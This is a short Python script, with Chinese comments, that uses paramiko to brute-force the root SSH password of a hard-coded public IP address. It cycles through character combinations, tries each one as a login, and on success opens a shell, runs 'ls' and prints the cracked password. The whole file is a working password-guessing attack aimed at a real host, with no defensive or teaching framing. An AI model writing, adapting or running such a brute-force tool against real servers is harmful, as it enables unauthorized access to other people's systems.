import paramiko

# 新建一个ssh客户端对象
myclient = paramiko.SSHClient()
# 设置成默认自动接受密钥
myclient.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# 暴力破解密码
strs = 'zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP~!@#$%^&*1234567890'
str_len = len(strs)


a = [2,18,7,22,20,23,10,22,15]


while True:
	password = ''.join([strs[i] for i in a])
	print(password)

	try:
		myclient.connect("39.106.221.128", port=22, username="root", password=password)
		myclient.banner_timeout = 60	
	except Exception as e:
		a[0] += 1
		for i in range(len(a)):
			if a[i] == str_len:
				a[i+1] += 1
				a[i] = 0

	else:
		# 读返回结果
		sh = myclient.invoke_shell(term='xterm')  #exec_command返回的为一个元组
		#获取命令的执行结果
		sh.send('ls')
		info = sh.recv(1024).decode() #decode('utf-8') 对2进制的对象进行转换
		print('密码为: ' + password)
		break